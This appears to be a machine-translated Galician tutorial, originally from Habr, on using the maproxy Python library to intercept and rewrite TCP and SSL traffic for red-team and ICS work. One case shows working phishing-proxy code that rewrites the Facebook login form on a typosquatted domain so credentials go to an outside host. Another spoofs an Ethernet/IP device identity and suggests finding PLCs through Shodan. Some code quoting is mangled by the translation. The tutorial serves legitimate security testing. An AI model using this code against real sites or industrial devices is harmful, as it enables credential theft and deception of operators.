A tradución do artigo preparouse na véspera do comezo do curso
anotación
Unha variedade de tipos de avaliacións de seguridade, que van desde probas de penetración regulares e operacións do Red Team ata piratear dispositivos IoT/ICS e SCADA, implican traballar con protocolos de rede binarios, é dicir, esencialmente interceptar e modificar os datos da rede entre o cliente e o destino. Detectar o tráfico da rede non é unha tarefa difícil xa que temos ferramentas como Wireshark, Tcpdump ou Scapy, pero a modificación parece ser unha tarefa máis laboriosa xa que necesitaremos ter algún tipo de interface para ler os datos da rede, filtralos, cambialos. sobre a marcha e envialo de volta ao host de destino en tempo case real. Ademais, sería ideal que tal ferramenta puidese funcionar automaticamente con varias conexións paralelas e ser personalizable mediante scripts.
Un día descubrín unha ferramenta chamada
, a documentación axiña deixoume claro que maproxy
- Só o que necesito. Este é un proxy TCP bastante sinxelo, versátil e facilmente configurable. Probei esta ferramenta en varias aplicacións bastante complexas, incluíndo dispositivos ICS (que xeran moitos paquetes) para ver se podía manexar moitas conexións paralelas, e a ferramenta funcionou ben.
Este artigo presentarache como procesar datos de rede sobre a marcha usando maproxy
.
Comentar
Ferramenta maproxy
está baseado en Tornado, un marco de rede asincrónico popular e maduro en Python.
En xeral, pode funcionar en varios modos:
TCP:TCP
– conexións TCP sen cifrar;TCP:SSL
иSSL:TCP
- con cifrado unidireccional;SSL:SSL
- cifrado bidireccional.
Vén como unha biblioteca. Para comezar rápido, pode usar ficheiros de exemplo que reflictan o principal
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Caso 1: proxy bidireccional simple
Baseado en tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Por defecto ProxyServer()
toma dous argumentos: a localización da conexión e o porto de destino. server.listen()
toma un argumento: o porto para escoitar a conexión entrante.
Execución do script:
# python tcp2tcp.py
Para executar a proba, imos conectarnos a un servidor SSH local a través do noso script proxy, que escoita 2222/tcp
porto e conéctase a un porto estándar 22/tcp
Servidores SSH:
O banner de benvida infórmache de que o noso script de exemplo enviou correctamente o tráfico de rede por proxy.
Caso 2: modificación de datos
Outro script de demostración logging_proxy.py
ideal para interactuar cos datos da rede. Os comentarios do ficheiro describen os métodos de clase que pode modificar para acadar o seu obxectivo:
O máis interesante está aquí:
on_c2p_done_read
– para interceptar datos ao longo do camiño do cliente ao servidor;on_p2s_done_read
- invertida.
Tentemos cambiar o banner SSH que o servidor devolve ao cliente:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Executar o script:
Como podes ver, o cliente foi enganado porque se cambiou o nome do servidor SSH para el «DumnySSH»
.
Caso 3: páxina web de phishing simple
Hai infinitas formas de usar esta ferramenta. Esta vez centrámonos en algo máis práctico desde o lado das operacións do Equipo Vermello. Imitemos a páxina de destino m.facebook.com
e usa un dominio personalizado cun erro tipográfico deliberado, por exemplo, m.facebok.com
. Para fins de demostración, supoñamos que o dominio está rexistrado por nós.
Imos establecer unha conexión de rede sen cifrar co proxy das nosas vítimas e SSL Stream ao servidor de Facebook (31.13.81.36
). Para que este exemplo funcione, necesitamos substituír a cabeceira do servidor HTTP e inxectar o nome de host correcto, e tamén desactivaremos a compresión de respostas para que poidamos acceder facilmente aos contidos. Finalmente substituiremos o formulario HTML para que nos envíen as credenciais de inicio de sesión en lugar dos servidores de Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/gl/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
En resumo:
Como podes ver, puidemos substituír con éxito o sitio orixinal.
Caso 4: Portada Ethernet/IP
Levo moito tempo lidando con dispositivos e software industriais (ICS/SCADA), como controladores programables (PLC), módulos de E/S, unidades, relés, contornos de programación de escaleiras e moitos máis. Este caso é para os que lles gustan as cousas industriais. Hackear tales solucións implica xogar activamente cos protocolos de rede. No seguinte exemplo, gustaríame mostrar como pode modificar o tráfico de rede ICS/SCADA.
Para iso necesitarás o seguinte:
- Sniffer de rede, por exemplo, Wireshark;
- Ethernet/IP ou só un dispositivo SIP, podes atopalo usando o servizo Shodan;
- O noso guión está baseado
maproxy
.
En primeiro lugar, vexamos como é unha resposta de identificación típica do CIP (Common Industrial Protocol):
A identificación do dispositivo realízase mediante o protocolo Ethernet/IP, que é unha versión mellorada do protocolo Ethernet industrial que engloba protocolos de control como CIP. Imos cambiar o nome de ID resaltado que está visible na captura de pantalla "NI-IndComm para Ethernet" usando o noso script proxy. Poderíamos reutilizar o guión logging_proxy.py
e de igual xeito modificar o método da clase on_p2s_done_read
, porque queremos que un nome de identidade diferente estea visible no cliente.
Código:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Esencialmente, pedimos a identificación do dispositivo dúas veces, a segunda resposta foi a orixinal e a primeira modificouse sobre a marcha.
E o último
Na miña opinión maproxy
Unha ferramenta cómoda e sinxela, que tamén está escrita en Python, polo que creo que ti tamén podes beneficiarte de usala. Por suposto, existen ferramentas máis complexas para procesar e modificar datos de rede, pero tamén requiren máis atención e adoitan crearse para un caso de uso específico, p. maproxy
pode implementar rapidamente as súas ideas para interceptar datos da rede, xa que os scripts de exemplo son moi claros.
Fonte: www.habr.com